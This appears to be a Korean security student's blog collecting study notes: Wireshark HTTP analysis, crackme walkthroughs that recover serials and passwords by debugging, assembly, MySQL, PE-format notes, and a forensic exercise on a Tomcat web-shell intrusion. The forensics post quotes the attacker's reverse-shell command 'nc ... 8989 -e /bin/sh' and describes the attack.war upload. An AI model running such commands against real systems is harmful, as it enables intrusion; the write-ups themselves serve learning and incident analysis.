하이퍼텍스트 전송 프로토콜(HTTP, Hypertext Transfer Protocol)

:: 웹 브라우저가 웹 서버에 연결해 웹 페이지를 볼 수 있게 해주는 월드와이드웹 전달 메커니즘이다.

 

 

초기 HTTP GET 요청 패킷

 

HTTP는 TCP를 통해 HTTP 통신을 위한 표준 포트인 서버의 포트 80으로 전달된다. 

HTTP 패킷은 송신기가 수신기에서 수행할 동작을 나타낸다. 

 

이 패킷은 GET 방법, URI를 /download.html로, 요청 버전을 HTTP/1.1로 구분한다.

이는 클라이언트가 HTTP 1.1 버전을 사용해 웹 서버의 download.html 페이지를 다운로드(GET)하라는 요청을 보내는 것이다.

 

그런 다음 호스트는 자신에 대한 정보를 웹 서버에 보낸다.

사용 중인 브라우저(User-Agent), 브라우저에서 사용하는 언어(Accept-Languages)와 쿠키 정보 등이 포함된다.

서버는 이 정보를 사용해 호환성을 보장하기 위해 클라이언트로 보낼 데이터를 판별할 수 있다.

 

클라이언트 브라우저와 웹 서버 간 TCP 전송 데이터

(여기서 클라이언트는 145.254.160.237, 서버는 65.208.228.223 이다)

 

4번 패킷처럼 클라이언트가 HTTP GET 요청을 전송하면

서버는 5번 패킷처럼 TCP ACK로 응답하고 패킷을 확인한 다음 요청된 데이터를 전송하기 시작한다(6번 패킷)

그리고 나서 클라이언트는 응답 패킷을 보내는 것이다(7번 패킷)

 

응답 코드 200인 최종 HTTP 패킷

클라이언트의 성공적 요청에 서버가 200 OK 응답을 보낸다.

패킷에는 타임스탬프와 웹서버의 콘텐츠 및 구성 매개변수 인코딩에 대한 몇 가지 추가 정보가 포함된다. 

클라이언트가 이 패킷을 받으면 트랜잭션이 완료된다.

 

 

 

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
Wireshark를 통한 네트워크 패킷 분석 ①  (0) 2021.03.12

분석 도구 : Immunity Debugger

 

저번 게시물에 올렸던 CodeEngn 15번 문제와 아주 유사하다

 

2021.03.30 - [Study/Reversing] - CodeEngn Challenge : Basic RCE L15

참고하면 이해하는 데 아주 도움이 될 것이다!!!!!!!

 

이번엔 CUI 모드로 작동하는 듯 싶다.

 

잘못된 password를 입력하면 'Wrong password!' 문자열이 뜨고

해당 exe 파일이 있는 곳에 null 이라는 파일이 생긴다.

 

[Search for] - [All referenced text strings] 를 통해 힌트 구간을 얻어본다.

 

'Good job!' 이 있는 곳을 더블클릭하여

해당 코드가 있는 곳으로 이동한다.

 

 

이번에도 역시 분기문이 보인다. (CMP)

 

EAX 값과 SS 값(EBP-3C 주소 기준 4byte) 를 비교한 후,

두 값이 같지 않으면 

'wrong password!' 문자열이 출력되는 주소로 점프해버린다.

 

따라서 우리는 EAX 값에 어떤 값이 들어가는지EBP-3C에 들어가있는 값을 확인해야 한다.

 

 

4015A2 에 BP를 건 후 실행하였고, password(serial)에는 1234를 입력해 주었다.

EAX에 들어가는 것은 우리가 입력했던 1234(10진수)가 000004D2(16진수)로 바뀐 형태의 값인 것을 알 수 있다.

 

 

EBP-3C에 있는 값은 E4C60D97 이다.

따라서 우리가 원하는 serial 값을 찾을 수 있다.

 

 

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L09  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
main 함수 찾기  (0) 2021.03.23

분석 도구 : Immunity Debbuger

 

문제는 Name이 CodeEngn일 때 Serial을 구하라는 것

 

해당 exe 파일을 실행해보니 실제로 Name과 Serial을 적는 칸이 있다.

 

애초에 문자는 입력할 수 없는 것 같고

 

맞지 않는 Serial 숫자를 적으면 'Try Again !' 이라는 문자열이 뜨는 것 같다.

 

 

디버거에 실행 파일을 올린 후 분석 시작

 

먼저 'Try Again !' 등 문자열이 있는 곳에 문제의 해답이 있을 수 있으므로

[Search for] - [All referenced text strings] 로 실행 파일에 담겨진 모든 문자열을 확인한다.

 

 

crack이 목적이므로

'CRACKED' 가 있는 곳으로 더블클릭하여 이동한다.

 

 

+) CMP Dest, Src

CMP 구문은 두 개의 피연산자를 비교한다.

Destination 피연산자에서 Source 연산자를 묵시적으로 빼서 값을 비교한다.

 

두 피연산자의 값이 같으면 결과는 0이 될 것이고, ZF(Zero Flag)는 1이 된다.

두 값이 다르면 결과는 0이 아닌 값, ZF는 0이 된다.

 

+) 명령어 DWORD PTR DS : [주소값]

DWORD 는 크기(BYTE : 1byte, WORD : 2bytes, DWORD : 4bytes),

PTR 은 기준을 의미한다.

 

즉, '주소값을 기준으로 4byte를 ~명령어~ 한다' 는 의미

 

 

따라서, CMP EAX, DWORD PTR DS:[45B844]의 의미는

EAX 값과 DS 값(45B844 주소 기준 4Byte 값)을 비교해서 

두 값이 같으면 ZF=1, 다르면 ZF=0 이 된다는 것

 

 

+) JNZ (Jump Not Zero) 주소 = JNE (Jump Not Equal) 주소

결과가 0이 아닐 때(ZF=0) 해당 주소로 이동하고,

0이 아닐 때(ZF=1) 바로 다음(아래) 명령어를 실행한다.

 

 

따라서, JNZ SHORT 00458854 의 의미는

위에서 비교했을 때 두 값이 같으면 바로 다음 명령어를 실행(성공 메시지),

두 값이 다르면 00458854(Try Again) 로 점프한다는 것

 

 

분기점 (00458837) 에 BP를 설정하고

두 개중 어떤것에 serial 값이 저장됐는지 확인하면 쉽게 serial 값을 얻을수 있을 것이다.

 

 

serial 값에 1234 를 입력했더니 

EAX 에 000004D2가 저장이 된다.

 

우리가 입력한 1234(10진수) → 4D2(16진수)로 바뀌어 저장된 것 !!!

 

 

CMP 명령어에서 DS 값 (45B844 주소 기준 4Byte)과 비교하므로

45B844 주소로 가서 들어있는 값을 확인하였다.

00006160(16진수)가 저장되어 있다. 

이제 이를 10진수로 변경하면 원하는 serial을 획득할 수 있다!

 

00006160 → ?????

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L06  (0) 2021.04.07
CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04

분석 툴 : Immunity Debugger

 

 

 

먼저 exe 파일을 실행해보니 비밀번호를 입력해야 하는 것 같다.

hello 를 입력해보았다.

 

 

[Search for] - [All referenced text strings] 를 이용해 이 프로그램의 모든 스트링을 확인해본다.

 

 

 

정답일 때 나오는 듯한 문자열 "Congratulation !!"이 눈에 띄므로 더블클릭하여 해당 위치로 간다.

 

해당 함수의 시작점으로 가 bp를 걸고 한 줄씩 실행하며 어셈블리어를 쓰윽 분석해본다.

 

보통 CMP 구문에서 비교한 후, JNZ 구문을 실행할 지 말지를 결정하는 경우가 많다.

CMP A B 비교 구문. A와 B가 같은지 판단
(같을 경우 ZE는 1이 되고 다를 경우 ZE는 0이 된다.)
JNZ(Zump if not Zero)  Address 연산 결과가 0이 아니면(ZF=0)이동하고,
0이면 (ZE=1) 다음 명령을 실행

 

CMP 구문에서 [ESP+5] 자리의 값과 61을 비교하고 있다.

 

ESP+5 자리를 가보니 내가 입력한 hello 중에 e 가 자리잡고 있는 것을 확인할 수 있다.

 

즉, 내가 입력한 문자열의 두번째 자리와 61을 비교하여

두 문자가 같을 경우 ZF가 1이 되고, 나머지 경우에는 ZF가 0이 되어

00401135 주소로 갈지(ZF=0) 말지(ZF=1)를 결정한다는 것이다.

 

JNZ문이 실행되면 함수가 종료되어 "Incorrect Password"가 뜨므로 JNZ문이 실행되면 안된다.

 

61을 아스키 값으로 변경하면 a 이다.

따라서 비밀번호의 두번째 자리가 a라는 것을 알게된 셈이다.

 

 

 

이번엔 입력에 hallo 를 입력한 후 실행해본다.

 

JNZ 구문이 실행되지 않고 (ZF=1 이므로) 

밑의 명령어로 넘어온다.

 

 

LEA ECX, ~~[ESP+A] = "ECX에 ESP+A 값을 옮긴다"

 

 

 

ECX 값을 확인해보니

내가 입력했던 세번째 문자열부터 끝까지의 문자열("llo")이 담겨져 있다.

 

 

 

이후 CALL 함수를 실행하면 ZF가 0이 되어 

JNZ 구문에 걸린다.

 

따라서 ■a5y■ 임을 예상한다.

 

 

 

 

 

이제 ha5yllo를 입력한 후 실행을 해보았다.

 

0040606C 값("R3versing")을 ESI로 옮긴 후, 

ESP+10을 EAX에 옮기고 있다.

 

 

[ESP+10] 의 값을 확인하니 내가 입력했던 다섯번째 이후의 문자열("llo")이 보인다.

 

 

그리고 반복문이 나오는데,

반복문을 살펴보니

 

EAX 값과 ESI 값을 각각 DL, BL 레지스터에 넣고

그 둘을 CMP 구문으로 비교하고 있다.

 

즉, llo 와 R3versing을 비교하고 있는 것.

 

따라서 ■a5yR3versing 임을 예상한다.

 

 

다시 ha5yR3versing을 입력한 후 

 

반복문까지 거친 후 

CMP 구문을 또 만났다.

 

[ESP+4] 값과 45를 비교한다.

[ESP+4]에는 내가 입력했던 첫번째 문자열("h")가 있다.

45는 아스키 값으로 "E"이므로

 

 

최종 비밀번호를 유추할 수 있게되었다.

 

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L16  (0) 2021.03.30
CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25

우리가 Main 함수를 작성할 때, 딱히 정해진 방식이 있는 것은 아니다.

 

- 메인함수 선언 방식

1. int main()
2. int main(void)
3. int main(int argc, char *argv[], char *envp[])

 

main함수 원형은 3번과 같이 인자와 환경변수 전달을 같이 받는다.

 

 

-컴파일 과정에서의 메인 구성

int main(int argc, char *argv[], char *envp[])

사용자가 어떻게 작성하던 간에 컴파일 과정에서는 원형이 지켜지게 된다.

 

즉, main 호출은 인자를 3개 전달한다.

CALL 00401000이 이 실행파일의 main 함수이다.

main 함수를 찾지 못하겠을 때 이와 같은 방법이 조금 도움이 될 수 있겠다.

 

 

 


*참고 : Visual Studio 6.0 에서 작성된 실행파일의 Stub 코드

 

Stub 코드의 흐름을 보고 main() 호출이 어느 지점에서 일어날 지 예측할 수 있다.

 

ex:) main()함수가 GetCommandLineA() 호출보단 뒤에, exit() 호출보단 앞에 있을 것으로 예측하며 

main()함수의 위치를 대략 예상할 수 있다.

'Study > Reversing' 카테고리의 다른 글

CodeEngn Challenge : Basic RCE L15  (0) 2021.03.30
Reversing.kr 1번 풀이  (0) 2021.03.24
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24

※ wireshark 실행 환경 : kali-linux-2021.1

 

Statics - Protocol Hiearchy 로 프로토콜 통계 확인

 

 

대부분의 패킷들이 TCP 프로토콜의 SSL, HTTP 를 이용함을 확인

Line-based text data : 웹쉘과 같은 공격에서 공격자들이 웹 페이지에서 정보를 가져올 때 이런 패킷이 사용됨

Media Type : 첨부파일을 통해 어떠한 파일이 올라간 경우에 이런 패킷이 사용됨

 

 

Statics - HTTP - Requests 로 서버로 요청한 정보 확인 (접근했던 도메인 확인 가능)

확인해 보니 192.168.206.133 서버의 8180번 포트로 수상한 패킷이 요청됨을 감지

 

 

Statics - Conversation 로 해당 포트 관련 정보를 확인

공격자의 IP 주소는 192.168.206.152 임을 예상

 

 

Statics - HTTP - Packet Counter 로 패킷 관련 정보 확인

1. GET 방식의 요청이 많음

2. 정상적 페이지에 접근 후 공격했음을 예상(200 OK)

※ 400, 500에러 등이 많이 찍히면 SQL Injection과 같은 공격임을 예상할 수도 있음

 

 

File - Export Objects - HTTP 로 HTTP 객체들을 확인

html 타입의 8180번 포트를 사용한 패킷들을 위주로 확인

/manager/html/upload 이후에 /attack 패킷이 요청되었으므로 upload 패킷부터 살펴보기 시작

 

 

/upload 포함 패킷 - 마우스 오른쪽 - Follow - TCP Stream 으로 패킷 흐름 확인

 

 

save as 로 이를 저장하면 공격자가 요청(접근)한 순서대로 웹 페이지를 볼 수 있음

 

 

대략 이런식

 

 

아까 저장했던 페이지를 자세히 보면, 공격자가 웹쉘을 올린 이후에 입력한 명령어들도 확인이 가능

command = ps+-aux, ls+-al, 

 

 

중간에 /upload 패킷에서 attack.war(웹쉘) 라는 이름을 가진 파일을 POST 방식으로 보낸 것을 확인

 

 

해당 패킷을 다시 확인

 

 

attack.war 파일의 내용물을 확인하기 위해 

Data 영역 - 마우스 오른쪽 - Export Packet Bytes로 파일 저장 후 압축 풀기

 

 

shell.jsp 파일 확인

 

 

attack.war의 md5 해시값은 5E86CA5044BDDEB1CA5F7B5852FDC360

 

 

 

1. 공격에 성공한 공격자 IP는? 192.168.206.152

2. 공격자 이외 서비스에 접근한 IP는?  192.168.206.154

3. 공격자가 시스템에 침투하기 위해 접근한 서비스 포트는? 8180

4. 공격자가 어떤 취약점을 이용한 것인지 서술하시오. apache tomcat 5.5 취약점

5. 공격자가 리버스 공격을 하기 위해 사용한 포트는? 8989

6. 공격자가 올린 웹쉘의 이름과 md5 해시 값은? attack.war

5E86CA5044BDDEB1CA5F7B5852FDC360
7. 공격자가 웹쉘을 올린 뒤에 사용한 명령어를 찾는대로 작성하시오.
ps -aux, ls -al, nc 192.168.206.152 8989 -e /bin/sh, shell.jsp파일 삭제

'Study > NETWORK' 카테고리의 다른 글

Wireshark - HTTP 패킷  (0) 2022.08.23
HTTP 업로드 실패 패킷  (0) 2021.03.31
HTTP 간단 요청 패킷  (0) 2021.03.31

OllyDBG

Ollydbg 화면구성

PE 파일 동작한다는 것은 메모리에 올라간 PE 데이터 중에서 .text 섹션에 기록되어 있는 기계어 코드가 실행되는 것이다.

 

1. Disassemble 영역

- 어셈블리 코드를 실행 또는 중지할 수 있도록 한다.

- 왼쪽부터 차례로 Address(명령어가 실행될 주소), 기계어 코드, 어셈블리 코드(기계어를 어셈블리어로 바꿔놓음)로 구성된다.

 

2. 레지스터

- 레지스터는 CPU 내부에 존재하는 다목적 저장 공간

- 이러한 레지스터 값을 표시해주는 곳

 

3. Memory Dump

- Address 주소, Hex dump, 각 Hex에 따른 ASCII코드로 해석된 창을 보여준다.

- 프로세스 동작과정에서 읽고 쓰는 값들을 확인 및 수정이 가능

 

4. Stack

- Stack 영역은 임시 저장 공간

- 스택 주소, 스택 값, comment 순으로 표시된 창

- 함수 호출 시 필요한 인자 정보를 전달

 

 

어셈블리어

:: 기계어와 일대일 대응이 되는 컴퓨터 프로그래밍의 저급 언어

기계어를 어셈블리어로 번역하는 작업은 디버거가 알아서 해주기 때문에 기계어를 알아야 하는 경우는 잘 없다.

 

명령어 설명
PUSHAD 8개의 범용 레지스터 값을 Stack에 저장
POPAD PUSHAD 명령에 의해서 Stack에 저장된 값을 다시 레지스터에 입력
PUSH A A값을 Stack에 넣음
POP 레지스터 Stack에서 값을 꺼내서 레지스터에 넣음
INC A A값을 1 증가
DEC A A값을 1 감소

 

명령어 설명
ADD A B A와 B를 더해서 그 결과를 A에 저장
SUB A B A에서 B를 빼고 그 결과를 A에 저장
IML A B A와 B를 곱한 후 그 결과를 A에 저장
LEA A B A를 B로 만듬(레지스터에서 주로 사용)
MOV A B B를 A로 복사
XCHG A B A와 B를 바꿈
TEST A B A와 B를 AND 연산
(연산 결과 값이 a에 저장되지 않지만 ZF 플래그 설정에 영향을 줌)
(연산 결과가 0이면 ZF가 1이 되고 연산 결과가 0이 아니면 ZF는 0이 된다)
AND A B A와 B를 AND 연산
(연산 결과 값이 a에 저장되고 ZF 플래그 설정에 영향을 줌)
(연산 결과가 0이면 ZF가 1이 되고 연산 결과가 0이 아니면 ZF는 0이 된다)
CMP A B 비교 구문. A와 B가 같은지 판단
(같을 경우 ZE는 1이 되고 다를 경우 ZE는 0이 된다.)

 

명령어 설명
JMP                         Address 해당 주소로 무조건 이동
JZ(Zump if Zero)         Address 연산 결과가 0이면(ZE=1)이동하고,
아니면(ZF=0) 다음 명령을 실행
ZE(Zump if Equal)        Address 연산 결과가 0이면(ZE=1)이동하고,
아니면(ZF=0) 다음 명령을 실행
JNZ(Zump if not Zero)  Address 연산 결과가 0이 아니면(ZF=0)이동하고,
0이면 (ZE=1) 다음 명령을 실행
JNE(Zump if not Equal) Address 연산 결과가 0이 아니면(ZF=0)이동하고,
0이면 (ZE=1) 다음 명령을 실행

 

명령어 설명
MOVE         DWORD PTR DS:[Address],  EAX Address부터 4Byte 값을 EAX로 복사
CALL          DWORD PTR DS:[Address] Address부터 4Byte 주소 값을 호출

DWORD ; 크기 값 (BYTE : 1byte, WORD : 2byte, DWORD: 4byte)

PTR ; 기준

 

 

주요 단축키

단축키 정보 설명
F2 BreakPoint를 설치하고 해제
F7 하나의 명령어 실행,
Call 명령어 실행 시 해당 함수 내부로 들어감
F8 하나의 명령어 실행,
Call 명령어 실행 시 해당 함수 내부로 들어가지 않음
F9 실행(Execute)
Ctrl + F2 디버깅을 처음부터 다시 시작(재실행)
Ctrl + F9 해당 함수 내에서 RETN 명령어까지 실행
Ctrl + G
원하는 주소로 이동
Alt + M Memory Map 확인

 

'Study > Reversing' 카테고리의 다른 글

Reversing.kr 1번 풀이  (0) 2021.03.24
main 함수 찾기  (0) 2021.03.23
IAT & EAT  (0) 2021.01.25
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23

MySQL

:: 세계에서 가장 많이 쓰이는 오픈 소스의 관계형 데이터베이스 관리 시스템(RDBMS).

:: 데이터베이스를 관리하거나 자료를 관리하기 위한 GUI 관리툴은 내장되어 있지 않고 오로지 명령어로만 동작

따라서 MySQL 프론트엔드 데스크톱 소프트웨어나 웹 애플리케이션을 사용해야 함

MySQL Workbench : 공식적 MySQL 프론트엔드 툴

MySQL과 같은 관계형 데이터베이스의 중요한 특징은 스프레드시트와 마찬가지로 데이터를 표의 형태로 표현해준다. 

 

 

MySQL의 구조

- 표(table)에 저장됨 -> 표가 늘어남 -> 정리정돈(디렉토리)의 필요성 증대

- 스키마? 서로 연관된 표들을 서로 그룹핑할 때 사용하는 일종의 폴더.

- 스키마들이 모인 것 = 데이터베이스 서버(database server)

데이터베이스 서버> 데이터베이스(스키마)> 표(table)

 

효용 

1. 보안 (자체적 보안 체계를 가지고 있어 안전한 보관 가능)

2. 권한 (다양한 사용자들이 관리할 수 있음 + 차등적 권한을 줄 수 있음)

 

SQL

(Structed Query Language)

:: 데이터를 관리하기 위한 쿼리 언어

:: 데이터베이스 종류와 상관 없이 모든 데이터베이스는 SQL을 통해서만 관리가 가능함

:: 기본적으로는 ANSI 표준이며 데이터베이스 회사별로 조금씩 차이가 있음

 

 

그리고 다양한 MySQL 명령들

(※ 주의 : 공부한 것을 까먹지 않도록 간단하게 적어놓은 것이므로 설명 등이 매우 부실함)

 

1. 데이터베이스 생성

CREATE DATABASE 데이터베이스명;

2. 데이터베이스 목록보기

SHOW databases;

3. 데이터베이스 선택

USE 데이터베이스명;

4. 테이블 생성

CREATE TABLE 테이블명(
-> 필드1 데이터타입 NULL수용여부(사용하지 않으면 기본적으로 NULL),
-> 필드2 데이터타입 NOT NULL,
...
-> PRIMARY KEY(필드1)); // PRIMARY KEY 부여 


예를 들어
CREATE TABLE opentutorials(
-> id INT(11) NOT NULL AUTO_INCREMENT,
-> title VARCHAR(30) NOT NULL,
-> description TEXT NULL,
-> created DATETIME NOT NULL,
-> profile VARCHAR(100) NULL,
-> PRIMARY KEY(id));

3. 테이블 목록보기

SHOW tables;

4. 테이블 구조 확인

DESC 테이블명;

5. 특정 칼럼에 키 부여

ALTER TABLE 테이블명 ADD PRIMARY KEY(필드명);

6. 데이터 입력

INSERT INTO //모든 필드에 데이터 추가 
-> 테이블명
-> VALUES(데이터1, 데이터2, 데이터3,,,);

예를 들어
INSERT INTO 
->opentutorials
->VALUES("SQL","SQL is....",NOW(),'kkami','developer');
INSERT INTO 테이블명(필드1, 필드2) VALUES(데이터1,데이터2);

예를 들어
INSERT INTO opentutorials(title,description,created,author,profile) 
->VALUES("SQL","SQL is....",NOW(),'kkami','developer');

7. 데이터 조회

SELECT * FROM 테이블명; // 전체 필드 데이터 검색

SELECT 필드명1, 필드명2 FROM 테이블명; // 특정 필드 데이터 검색

SELECT 필드명1, 필드명2 FROM 테이블명 WHERE 조건식; // 조건에 맞는 레코드 검색 명령

SELECT 필드명1, 필드명2 FROM 테이블명 WHERE 검색필드 LIKE 조건식 // 특정 문자열이 포함된 레코드 검색 명령

SELECT 필드명1, 필드명2 FROM 테이블명 ORDER BY 필드명; // 레코드 정렬 명령 -오름차순
SELECT 필드명1, 필드명2 FROM 테이블명 ORDER BY 필드명 DESC; // 레코드 정렬 명령 -내림차순

SELECT 필드명1, 필드명2 FROM 테이블명 ORDER BY 필드명 LIMIT 숫자;// 오름차순으로 해당 숫자만큼만 출력

SELECT * FROM 테이블명 LEFT JOIN 붙일 테이블명 ON 조건; // 테이블 합치기
ex) SELECT * FROM topic LEFT JOIN author ON topic.author_id = author.id; 

8. 데이터 수정

UPDATE 테이블명 SET 필드명='바꾸고자 하는 값' WHERE 조건;

예를 들어
UPDATE opentutorials SET id=3 WHERE id=1;

9. 데이터 삭제

DELETE FROM 테이블명 WHERE 조건;

10. 이름 변경

RENAME TABLE 테이블명 TO 바꾸고자 하는 값;

 

IAT & EAT 이해

# Sample 01.exe는 Beep() API를 사용

# Beep() 기능은 kernel32.dll에서 제공

# Sample 01.exe는 Beep() API 주소를 어떻게 알아낼까?

 

Sample 01.exe를 실행하면 PE 로더가 이것과 kernel32.dll을 함께 올린다.

이 올리는 과정에서 PE 로더는 kernel32.dll의 EAT로 가서, Beep() API의 실제 호출 주소를 알아온다. 

그리고 나서 이것(주소)을 Sample 01.exe의 IAT에 기록한다.

그러면 Sample 01.exe는 필요할 때마다 자신의 IAT를 참고하여 함수를 호출하는 것이다.

 


그림1 kernel32.dll_Beep_API RVA : 0x00083081

 

그림 2 kernel32.dll_Image Base : 0x76030000

0x00083081 + 0x76030000 = 0x760B3081 (Beep 호출 주소)

 

그림3 Sample 01.exe의 Import Address Table 영역

 

그림4 Beep() API 호출 코드에서 바로 확인 가능

 

Beep() API를 호출할 때 직접 호출하지 않고 0x00405000 주소에 있는 4Byte 값을 가져와서 호출한다.

0x00405000 주소는 Sample 01.exe의 Import Address Table(IAT) 영역이다.

해당 주소로 이동해보면 Sample 01.exe가 사용하는 API들의 호출 주소가 기록되어 있다.

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
PE 헤더  (0) 2021.01.24
PE File Format 이해  (0) 2021.01.23
리버싱의 이해  (0) 2021.01.22

PE 헤더

:: 작은 구조체들이 모여서 만들어진 데이터 덩어리

:: 크게 DOS Header와 DOS Stub, NT Header, Section Header로 구성

 

 

PE 헤더 (출처 위키백과)

 

 

DOS Header DOS Header는 DOS와 호환성을 위해 만들었다. 파일의 처음에 위치하고 0x40의 크기를 갖는다.
DOS Stub 해당 파일이 MS-DOS에서 실행될 경우, 화면에 출력될 메시지와 코드가 기록되어 있다. 
DOS Stub은 옵션이기 때문에 파일 실행에 영향이 없다. 크기가 일정하지 않고 없어도 되는 영역이다.
NT Header 파일 실행에 필요한 중요 정보들을 담고 있다. 0xF8의 크기를 갖는다.
Section Header  각 섹션의 속성 정보를 담고 있다.

 

ⓐ DOS Header

- DOS Signature : 실행 파일이라는 표식. 2Byte이고 "MZ(0x5A4D)" 값을 가진다.

- NT Header Offset : NT 헤더의 시작 지점에 대한 정보를 담는다. 4Byte.

 

ⓑ NT Header 

- PE Signature : 올바른 PE 파일인지 확인하는 용도로 사용된다. 4Byte이고 "0x50450000"값을 가진다.

- FILE HEADER : 파일의 Physical 정보를 담고 있는 구조체이다.

Machine에서 UPU -> CPU (오타)

- OPTIONAL HEADER : 파일의 Losical 정보를 담고 있는 구조체이다.

 

ⓒ Section Header

- VirtualSize : 메모리에서 섹션이 차지하는 크기이다.

- RVA(VirtualAddress) : 메모리에서 섹션의 시작 주소이다.

- SizeOfRawData :  파일에서 섹션이 차지하는 크기이다.

- OffsetToRawData : 파일에서 섹션의 시작 주소이다.

- Characteristics :  섹션의 속성 정보를 담고 있다.

 

VA (Virtual Address, 가상주소) & RVA (Relative Virtual Address, 상대주소)

:: 특정 값의 위치 정보를 표현할 때

파일에서의 위치(Offset), 메모리에서의 위치(VA), 메모리에서의 상대 위치(RVA)를 사용한다.

여기서 RVA는 파일 데이터가 메모리에 올라간 시작 지점으로부터 떨어져 있는 상대 위치이다.

VA = Image Base + RVA

(Image Base는 OPTIONAL HEADER에 있다.

실행파일이 메모리에 올라간 위치로, 파일 데이터가 메모리에 올라갈 때 기준이 되는 주소 값을 가진다. 기본적으로 EXE는 0x004000000, DLL은 0x10000000 값을 가진다.)

 

ⓓ IAT(Import Address Table)와 EAT(Export Address Table)

Windows 운영체제에서 EXE가 동작할 때 DLL이라는 비서를 두고 활용하게끔 만들어져 있다. 이것을 가능하게 하는 것이 IAT와 EAT 메커니즘이다. 

- IAT : DLL이 제공하는 함수들 중 사용하는 것들에 대한 정보를 기술해놓은 테이블

(ex; EXE를 로드하는 과정에서 필요한 함수 호출 주소 정보를 획득하여 EXE의 IAT에 기록, EXE는 동작 과정에서 필요할 때마다 IAT를 참고하여 함수를 호출)

- EAT : DLL 자신이 서비스하는 함수에 대한 정보를 기술해 놓은 테이블

 

 

'Study > Reversing' 카테고리의 다른 글

main 함수 찾기  (0) 2021.03.23
OllyDBG, 어셈블리어  (0) 2021.02.04
IAT & EAT  (0) 2021.01.25
PE File Format 이해  (0) 2021.01.23
리버싱의 이해  (0) 2021.01.22

+ Recent posts